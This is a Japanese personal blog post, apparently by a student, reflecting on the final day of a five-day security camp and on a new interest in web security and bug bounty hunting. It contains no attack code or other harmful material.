私はこの文章を、家に帰って片づけをしてすぐに書きはじめているのですが、やはり文章にすることで振り返ることができますね。
五日間、一歩もクロスウェーブ幕張の外の世界に出ない生活でしたが、それとは矛盾するようにたくさんの世界を垣間見ることができました。
キャンプに行く前は本当に鬱病だったし、二日目のCTFでもかなり鬱病になりましたが、三日目あたりからは楽しいことしかなかったです。
行けてよかったです。もし行けるならもう一度行きたいです。

そもそも私がキャンプに期待していたことは、セキュリティに限らず幅広い分野の専門家が集まる一大イベントであるからして、情報系で好きな分野の定まらない自分に何らかの方向性を与えてくれることでした。電子回路も楽しいし、ラズパイも使うし、リバーシングもちょっとだけやって、Webもやらなきゃって気持ちで、競プロもちょっとだけやってて、機械学習にも興味あるよ、みたいな自分にほかの分野より好きと言える分野ができたらいいなとずっと思っていました。
キャンプの講師はそれぞれの分野で第一人者と呼ばれる方が来るはずで、そういう人たちの話を聞いてなお自分が他の分野よりこの分野が好きだよ、みたいなのができたら今後ぶれることも無いんじゃないかなと思っていました。逆に、講師の話を聞いてもどうしてもうーーんって思う分野があったら、きっとそれは向いていないってことなのかなぁと思いました。

結論として、高レイヤーに興味が沸きました。
自分はどちらかというと新しいもの好きなんだろうなぁと思ったことと、きぬがわさんに「バグハンター女子いないから、やったらめっちゃかっこいいよ!」的なことを言われたことがきっかけだと思います。ちなみに私は単純です。
いや…バグハンター系女子、草薙素子みたいでめちゃくちゃかっこよくないですか…??
Bounty制度もあるらしく、なんとなくお金になりそうな空気を感じたっていうのもあります。
興味が沸いている状態が、いつまで続くでしょうかね。続いてくれると嬉しいです。

明後日から35日間南米に旅行に行くのですが、旅のお供に圏論の基礎を持っていくので数学にハマって帰ってきたりするかも。
どちらにせよパソコンは重すぎるので持っていかないので、帰国するまでは暇な時にスマホxss challengeしたりするだけになりそうです。
セキュキャンの後のモチベが高い時期に南米に行くのが、吉と出るか凶と出るか…。


くだらない話はやめて、ここから最終日の一日を報告します。


朝ご飯の写真撮り忘れました!!

グループワークの発表をしました。
我々のグループの発表内容はこんな感じ。セキュキャン公式アカウントです。

まあタイトル見てだいたい内容は分かると思いますが、ラ!なんとかの絵を使っていますのでスライドを上げるのはやめておきます。削除したら面白くもなんともないし。

12グループ分聞くのは、寝不足にはなかなかきつかったっす。


お昼ご飯を食べました。おいしかったです!
f:id:yamaguchi_1024:20160813213603j:plain


昼食後、成果報告会というものをしました。
具体的には、それぞれのトラックのちょっとした紹介みたいな感じでした。
私は三村さんの.NETの解析の講義の時に早口でしゃべるオタクになりました。面白かったです。


正確な順序は覚えていないのですが、次に、グループワークの投票結果発表がありました。
講師陣がいいと思ったグループに投票する仕組みです。
私たちのグループは、あんなにふざけたにも関わらず、「ナイスファイト賞」という三位?みたいな位置づけの賞を頂きました。ありがとうございます。
f:id:yamaguchi_1024:20160813214435j:plain

次に、いろんな人が挨拶していました。
お金とやりたいこととできることが揃うと天職っていう話と、みんなが何かしらで悔しいと思っているらしいことが印象に残りました。

ちなみにこれが、トラフィックみたいです。すごいですね。
f:id:yamaguchi_1024:20160813214409j:plain

卒業式的なことをやって、一人一人に卒業証書が手渡され、10秒以内で何か言う時間が与えられました。

おみやげをもらいました。おしゃれ。
f:id:yamaguchi_1024:20160813214524j:plain

最後にみんなで写真を撮って解散しました。



思い返すと一瞬でした。濃い五日間でした。
参加できてよかったです。